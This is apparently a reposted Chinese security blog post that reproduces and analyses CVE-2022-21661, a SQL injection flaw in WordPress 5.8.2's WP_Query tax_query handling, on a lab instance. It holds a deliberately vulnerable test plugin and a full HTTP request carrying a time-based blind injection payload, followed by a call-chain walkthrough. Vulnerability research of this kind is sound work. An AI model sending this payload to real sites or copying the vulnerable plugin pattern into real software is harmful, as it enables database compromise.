-
前言
深藏了3个月的材料还敢拿出来敷衍了事?我:不,你不懂。
-
漏洞环境
选择的版本:5.8.2
代码下载地址:
https://github.com/WordPress/WordPress/releases/tag/5.8.2
-
漏洞复现
编辑生成一个php文件,并用zip压缩
<?php
function testSQLiCVE202221661(){
echo 'test-cve-2022-21661-plugin';
$inputData = stripslashes($_POST['data']);
$jsonDecodeInputData = json_decode($inputData,true);
$wpTest = new WP_Query($jsonDecodeInputData);
wp_die();
}
add_action('wp_ajax_nopriv_testcve202221661','testSQLiCVE202221661');
?>
压缩后来到后台处,点击上传插件
上传后点击,已安装插件,并进行开启
发送如下请求包,即可造成延时注入
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 10.211.55.3
accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
action=testcve202221661&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) or (select sleep(2))#"]}}}
-
漏洞分析
老规矩,先上分析出来的调用链关系,发现其实一直都在做数据的处理,直到最后利用do_action将参数送入wordpress自带的函数中,最主要在于对输入的terms的内容做处理的时候没处理好。
在wp-admin/admin-ajax.php中会去判断用户是否会登录,但无论是否登录,这边下一步的执行代码都是一致的,其中do_action()为wordpress的内置函数,在这里相当于执行名称为wp_ajax_nopriv_{$action}的函数。调用的插件代码和burp包依此处进行构造。
在wordpress的开发文档中也有对do_action的一个详细描述,可以起到一定的参考作用。
因此,我们构造的插件代码如下,即可以利用此处调用到了该插件
该漏洞主要由于调用了WP_Query函数产生,进一步跟踪发现,会先去执行初始化的魔术方法。
跟踪进入get_posts函数
会执行完parse_tax_query后,进入到get_sql方法中,parse_tax_query主要是对传入的数据进行处理。
进入到数据处理时,会进一步赋值参数,然后代入到WP_Tax_Query中
进入后会默认设置一个relation,再进入到sanitize_relation中
最主要赋了个默认的operator值为IN
回到get_sql,进一步跳转到get_sql_caluses函数
到这里,会去调用get_sql_for_query去执行内容,这里的$query是可控的
进一步跟踪,进入到get_sql_for_clause函数中,并进入到clean_query
进入到clean_query中,还会去调用到transform_query函数
进入到transform_query中发现if的判断语句
最终作者认为是调用的do_action执行了sql语句。
-
总结
其实Payload中,最主要的确认其调用链,传入Sql的方法都大差不差。其实这篇是一位师傅的作业,一晃已经过去三个月了,希望Ta在接下来的工作生活中一天比一天开心: )
原文始发于微信公众号(Undoubted Security):WordPress SQL注入漏洞分析(CVE-2022–21661)漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论